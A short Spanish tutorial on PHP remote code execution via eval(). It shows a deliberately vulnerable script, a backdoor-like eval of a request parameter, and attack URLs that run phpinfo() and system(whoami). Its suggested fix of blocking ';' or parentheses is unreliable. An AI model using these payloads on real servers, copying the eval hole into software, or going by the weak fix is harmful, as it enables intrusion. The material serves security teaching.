Remote Code Execution (RCE)
- Tips : Usted necesita escribir codigo php valido, incluyendo las terminaciones ( ; ) .
- Ejemplo Básico:
- Pedazo de código de test.php
———————————–
<?php
$code=$_GET['code'];
eval($code);
?>
———————————–
La funcion “eval” evalua una “string” como codigo PHP. Entonces en este caso estamos habilitados para ejecutar nuestro código PHP.
Ejemplos:
http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);
Y veremos la salida del codigo php inyectado por nosotros.
- Ejemplo Simple:
- Pedazo de código de system/services/init.php
————————————————
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
————————————————
Vemos que el “anticode” esta siendo requerido por el metodo $_REQUEST y el programador
“aseguró” las entradas con “stripslashes” que está “sobrando” aqui, no necesiamos
“slashes” para ejecutar nuestro codigo php. Solo si queremos incluir una url. Entonces podremos inyectar nuestro código php
Ejemplo :
http://127.0.0.1/test.php?anticode=phpinfo();
Genial, inyeccion realizada,phpinfo() resulta impresa.
- Solución
Forma Simple : no permitir “;” y el código php debería ser inválido.
Otra Forma : No permitir caracteres especiales como “(” or “)” etc.
Andrés Gómez